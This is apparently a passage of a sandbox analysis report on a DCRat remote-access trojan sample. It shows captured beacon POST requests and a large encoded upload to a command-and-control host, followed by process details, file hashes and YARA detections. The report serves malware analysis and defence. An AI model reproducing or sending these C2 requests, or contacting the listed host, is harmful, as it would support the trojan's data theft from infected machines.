Nov 9, 2024 22:24:16.411767960 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	50131	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:16.548561096 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:16.899302006 CET	2544	OUT	Data Raw: 55 53 59 5a 53 58 5b 56 5d 5d 54 54 54 57 5b 51 56 5a 5f 5e 5b 51 5a 59 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: USYZSX[V]]TTTW[QVZ_^[QZYV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$1> =X"0,#[#.+='Y38$, ?^?%._:'Y&%[(
Nov 9, 2024 22:24:17.479542971 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:17.535535097 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	50132	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:17.666452885 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:18.024342060 CET	2544	OUT	Data Raw: 55 56 5c 58 56 58 5b 5c 5d 5d 54 54 54 50 5b 51 56 5e 5f 5e 5b 5d 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UV\XVX[\]]TTTP[QV^_^[]ZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"0=D4Z5;$Z<!.Y=<&&,[$+X<++E$>Z9?'Y&%[(<
Nov 9, 2024 22:24:18.608633041 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:18.673178911 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	50133	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:18.125006914 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2220 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:18.478369951 CET	2220	OUT	Data Raw: 55 52 59 5e 53 5d 5e 50 5d 5d 54 54 54 53 5b 5b 56 51 5f 5d 5b 54 5a 59 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: URY^S]^P]]TTTS[[VQ_][TZYV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!\$!!@#8>!X4Y'Z# >=03Z (+(2.\,/'Y&%[(0
Nov 9, 2024 22:24:19.043191910 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:19.103909016 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 5e 2b 2a 04 08 21 29 2e 1c 29 0f 21 52 28 3e 3a 01 32 0e 30 17 2a 2f 36 07 28 3d 30 0c 36 04 39 06 30 3c 08 01 21 0f 2c 5d 32 20 2b 5a 01 1c 25 41 2b 3e 3b 0d 31 2b 2e 1f 30 0e 29 5c 34 01 28 03 25 37 2f 11 32 32 3e 0a 3e 1d 30 55 2f 1f 2a 02 2b 10 06 1a 25 0f 0f 0f 37 35 2a 55 03 12 23 51 2b 2d 0e 09 32 5b 24 0a 2b 0f 3f 01 36 2e 27 5b 22 05 20 5a 27 16 2b 59 2f 0d 2f 00 27 0d 28 01 3f 0c 3f 1f 37 02 0c 09 27 2a 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #^+!).)!R(>:20/6(=0690<!,]2 +Z%A+>;1+.0)\4(%7/22>>0U/+%75U#Q+-2[$+?6.'[" Z'+Y//'(??7'*#P-#H?\V
Nov 9, 2024 22:24:19.104516029 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2536 Expect: 100-continue
Nov 9, 2024 22:24:19.392304897 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:19.393191099 CET	2536	OUT	Data Raw: 55 57 59 5c 53 58 5e 51 5d 5d 54 54 54 55 5b 51 56 5b 5f 58 5b 55 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UWY\SX^Q]]TTTU[QV[_X[UZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!$T.7!6 3,#)Y',%/+_?;?D1.6Z./'Y&%[(
Nov 9, 2024 22:24:19.740514994 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	50134	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:18.395966053 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 532 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:18.743639946 CET	532	OUT	Data Raw: 55 55 59 5e 53 5f 5b 50 5d 5d 54 54 54 55 5b 52 56 5b 5f 52 5b 56 5a 5e 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UUY^S_[P]]TTTU[RV[_R[VZ^V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!%!5C4:6 $#<Z*;8$%<'_?8&%.?'Y&%[(,
Nov 9, 2024 22:24:19.308538914 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:19.367227077 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:24:19.367876053 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----8NW4aueno9SspaDNrit1RE03dsZcvJsCll User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 180882 Expect: 100-continue
Nov 9, 2024 22:24:19.653799057 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:19.659199953 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 4e 57 34 61 75 65 6e 6f 39 53 73 70 61 44 4e 72 69 74 31 52 45 30 33 64 73 5a 63 76 4a 73 43 6c 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------8NW4aueno9SspaDNrit1RE03dsZcvJsCllContent-Disposition: form-data; name="0"Content-Type: text/plainPP\ZV^^P]]TTT\[VVX_\[SZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:24:19.664223909 CET	7416	OUT	Data Raw: 4d 57 30 72 57 43 74 31 64 54 56 61 53 6b 49 32 4f 57 46 55 59 55 39 34 63 44 6c 32 52 57 73 32 55 57 73 7a 62 48 42 44 4f 58 68 6b 52 7a 42 6e 61 6d 31 61 64 7a 42 7a 64 55 5a 50 4d 47 4a 56 53 55 67 7a 62 44 56 4b 53 46 64 78 56 56 59 35 59 6e Data Ascii: MW0rWCt1dTVaSkI2OWFUYU94cDl2RWs2UWszbHBDOXhkRzBnam1adzBzdUZPMGJVSUgzbDVKSFdxVVY5YnlxaFdlTGNRZHlianVRZzR3Y2dEUDBKcm9qWHBPWHM0dlZITFBEVjFEMnNsbytwWUtta3hTcTRZWlVnajJOT0xjYzFzYytveWlwMGdTUm9JaGMycVhkeXU2M3RIZGhMS08yTUtWRzdzR1lFL2lNMVpaRmgwVzAxWm1
Nov 9, 2024 22:24:19.664264917 CET	4944	OUT	Data Raw: 4f 45 70 44 62 46 56 6a 4c 30 78 72 4e 32 77 32 57 55 39 52 54 32 52 42 65 47 38 7a 56 6b 5a 51 4d 55 5a 4b 4e 56 56 6c 59 79 74 58 64 6a 56 56 4e 56 70 51 51 6e 6c 31 63 47 59 78 57 6b 77 35 52 55 70 61 4e 56 56 56 59 6b 39 4f 4c 7a 5a 6d 4b 31 Data Ascii: OEpDbFVjL0xrN2w2WU9RT2RBeG8zVkZQMUZKNVVlYytXdjVVNVpQQnl1cGYxWkw5RUpaNVVVYk9OLzZmK1psS2xoZlcvd0RhRnplUlc5MmJLT0NlMHVJcEMyNk9OVUJqS3FWSVlLRGhpdURrZE9hZHFsL2IzZWlNaVhObk9HMHUwZ2h0WUxSNDdoTGlNSmt5UzdGM3hqYTN5bDNIM2NEZ0VhYlJSc2NtTlQ5UlNDS01ISWpRSDJ
Nov 9, 2024 22:24:19.664406061 CET	7416	OUT	Data Raw: 4d 7a 68 51 52 53 74 72 5a 6e 70 50 4d 33 4a 74 4c 30 52 75 61 56 4e 59 56 32 52 54 4d 55 4d 77 62 57 70 70 57 48 6c 51 62 57 6f 34 63 30 68 4a 57 47 56 35 4e 31 68 36 4c 30 59 34 62 31 42 49 63 6a 64 57 4d 45 55 34 4f 46 5a 79 59 6e 6c 59 52 58 Data Ascii: MzhQRStrZnpPM3JtL0RuaVNYV2RTMUMwbWppWHlQbWo4c0hJWGV5N1h6L0Y4b1BIcjdWMEU4OFZyYnlYRXpoSW9sTHV4NkFEa212Sy9DdmltMjAvVmRVMVM2aS8wZlVwV2xjd29XYTNJWTdRL0dQbTNldlhyMXI1cXRWVUp4VGRqN1BBNE40akQxcFJqZHExdlcvK1grWFU5V2RGa1JrZFF5TU1NckRJSTlEWGkvaVhSby9EL2l
Nov 9, 2024 22:24:19.664480925 CET	4944	OUT	Data Raw: 65 46 64 43 62 7a 52 70 63 44 64 53 65 6e 52 6d 4d 46 42 61 64 31 64 61 56 6a 68 4d 55 7a 6c 75 52 32 35 6b 53 79 39 6a 4f 57 4d 76 4e 46 52 6d 64 7a 63 76 64 30 4a 43 52 43 39 35 51 6b 6f 76 4f 45 46 46 4d 47 59 34 53 6e 59 30 5a 43 39 33 51 32 Data Ascii: eFdCbzRpcDdSenRmMFBad1daVjhMUzluR25kSy9jOWMvNFRmdzcvd0JCRC95QkovOEFFMGY4SnY0ZC93Q2doLzVBay84QWlhOGthMnVWc3hlTmEzQXRUMG5NTGVXZWNmZXhqcjcwMk9HZWEzbHVJYmVlV0NIUG15eHhNeUpnWk9TQmdjZXRjMzlrVUxYOXArUjFmMjVpYjI5bHY2bm9uaW54VG8ycGVHN3UwdEx6eko1Tm0xZkt
Nov 9, 2024 22:24:19.669179916 CET	9888	OUT	Data Raw: 56 58 5a 68 59 33 59 33 65 6d 5a 35 55 45 6c 78 4b 33 6b 31 64 6a 4e 57 4e 32 56 5a 4d 55 64 68 4d 30 39 49 62 6c 64 4c 56 7a 68 72 4f 48 5a 54 65 6b 74 6f 53 56 4d 33 51 32 74 44 55 55 68 4a 51 55 46 35 52 6e 6c 6a 61 6d 4d 32 62 69 74 42 4d 56 Data Ascii: VXZhY3Y3emZ5UElxK3k1djNWN2VZMUdhM09IbldLVzhrOHZTektoSVM3Q2tDUUhJQUF5RnljamM2bitBMVR0OUQxcXowQ043YlM5Vk43cUN0QzBxV2pzTGFFSEVoSkNuRE9RVjlkdTcrOEtrbDA2MW1rTWtrWVpqM05WMDBPeWlZc2lNcFBmTmViV3dGV2RTVWxKV2x2NkwrdFQxNkdaMGFkS01IRjNqdDZ2L0xvUWEzSGNSK0Z
Nov 9, 2024 22:24:19.669320107 CET	4944	OUT	Data Raw: 5a 44 5a 6b 61 47 6c 46 59 31 56 75 4b 32 56 73 54 47 6c 73 54 6b 5a 6f 62 31 6c 53 61 57 74 77 4f 55 35 76 52 30 6c 6c 59 55 52 54 4d 47 31 50 4f 55 6c 5a 4d 47 6f 34 59 56 45 77 4f 44 51 32 5a 44 5a 54 61 30 31 61 61 6d 31 71 64 43 74 4f 54 33 Data Ascii: ZDZkaGlFY1VuK2VsTGlsTkZob1lSaWtwOU5vR0llYURTMG1POUlZMGo4YVEwODQ2ZDZTa01aam1qdCtOT3h4VGNjK21LZGhpSHJTWXozcFNLT2NHa01Ta3h6K0ZMU2R2clJZWUdrN1lwZjBwRGdqaWl3eEtUclM5cU9sQXhPOUI0cGVQeXBNMERFeFFmWDlhZGpyM3BQclFBbEpTOXFUdlRHRklhWHJRUjNvc0EwamswblduRVV
Nov 9, 2024 22:24:19.669493914 CET	27192	OUT	Data Raw: 63 44 45 78 4e 54 4a 75 65 57 5a 69 56 30 6f 77 4d 30 67 79 52 55 31 76 53 57 64 33 4d 6a 52 5a 52 30 39 6d 62 54 55 31 65 6a 5a 6b 53 32 46 33 5a 55 78 30 64 6a 59 76 62 6d 59 31 4d 69 39 4e 57 44 6c 76 57 55 51 72 57 44 41 77 4d 6a 5a 58 4b 31 Data Ascii: cDExNTJueWZiV0owM0gyRU1vSWd3MjRZR09mbTU1ejZkS2F3ZUx0djYvbmY1Mi9NWDlvWUQrWDAwMjZXK1YzK0E3U2RabDFhV0JyMjJzMGFMWExTM1JvYmRJeExISzdCbzJWUUZQQzV5Um5xT2xOazFOcFYxV1I3blNienliRjNpYXl0ZkpFYmVmRXZJTVNmTmdubm52elNTMkY5Y1QyczhsMURISmFUaTVnVzN0bzRVV1VZTzh
Nov 9, 2024 22:24:19.670341015 CET	4944	OUT	Data Raw: 4b 31 6b 78 4e 58 52 61 4d 30 77 79 56 6a 64 43 5a 46 4a 78 52 32 56 47 64 7a 5a 6f 64 57 68 4a 54 32 56 68 4e 6d 49 76 61 46 6c 50 63 43 38 34 4b 33 52 75 4c 30 46 4f 4f 48 59 76 64 30 52 47 56 6a 51 72 54 32 39 5a 62 56 5a 6b 56 6b 74 44 4e 6c Data Ascii: K1kxNXRaM0wyVjdCZFJxR2VGdzZodWhJT2VhNmIvaFlPcC84K3RuL0FOOHYvd0RGVjQrT29ZbVZkVktDNlczWG1mUjVUak1IU3d6cFlsN3l2YXo3THNpOS93QUtyMFAvQUorOVIvNytKLzhBRVVuL0FBcXZRLzhBbjcxSC92NG4vd0FSVkgvaFlPcWY4KzFsL3dCOFAvOEFGVWY4TEIxWC9uMnN2KytIL3dEaXE1L1o1bjUvZXY
Nov 9, 2024 22:24:20.501671076 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	50135	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:19.872571945 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:24:20.227428913 CET	2544	OUT	Data Raw: 55 50 59 5f 53 5a 5e 51 5d 5d 54 54 54 54 5b 5a 56 5d 5f 5b 5b 5c 5a 5e 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UPY_SZ^Q]]TTTT[ZV]_[[\Z^V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!]$.#&!=$X'4!.$_=;$0$Z0??<((%X>.'Y&%[(,
Nov 9, 2024 22:24:20.798755884 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:20.850675106 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	50136	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:20.982806921 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:24:21.336930990 CET	2544	OUT	Data Raw: 55 5b 5c 5e 53 5d 5e 50 5d 5d 54 54 54 51 5b 5b 56 59 5f 5d 5b 54 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: U[\^S]^P]]TTTQ[[VY_][TZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"%2E4:63<$#-4+;$%]0?/Z)(+D&..^./'Y&%[(8
Nov 9, 2024 22:24:21.895479918 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:21.953789949 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	50137	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:22.076025963 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:22.430614948 CET	2544	OUT	Data Raw: 50 50 59 52 56 5a 5e 56 5d 5d 54 54 54 51 5b 5a 56 5a 5f 58 5b 51 5a 5e 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PPYRVZ^V]]TTTQ[ZVZ_X[QZ^V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!]$T*7;)_"=<0<4#. );3%'3/(87&.^:'Y&%[(8
Nov 9, 2024 22:24:23.006871939 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:23.066605091 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	50138	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:23.195810080 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:23.541193008 CET	2544	OUT	Data Raw: 55 56 59 5e 53 5c 5b 53 5d 5d 54 54 54 51 5b 53 56 5d 5f 53 5b 55 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UVY^S\[S]]TTTQ[SV]_S[UZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!01>7-68['<#78=7Y3 [3<7Y?$>>^9?'Y&%[(8
Nov 9, 2024 22:24:24.156541109 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:24.206692934 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Target ID:	0
Start time:	16:21:56
Start date:	09/11/2024
Path:	C:\Users\user\Desktop\t8xf0Y1ovi.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\t8xf0Y1ovi.exe"
Imagebase:	0x400000
File size:	2'133'851 bytes
MD5 hash:	38924C8184BF5944DA2AC3E5CD987DA2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000003.1658146051.0000000000D33000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:21:56
Start date:	09/11/2024
Path:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
Imagebase:	0xf90000
File size:	1'765'888 bytes
MD5 hash:	37D00592110CA3CC53B7F6CA6AB1C82A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000001.00000000.1658474906.0000000000F92000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:22:00
Start date:	09/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline"
Imagebase:	0x7ff757e60000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:22:00
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
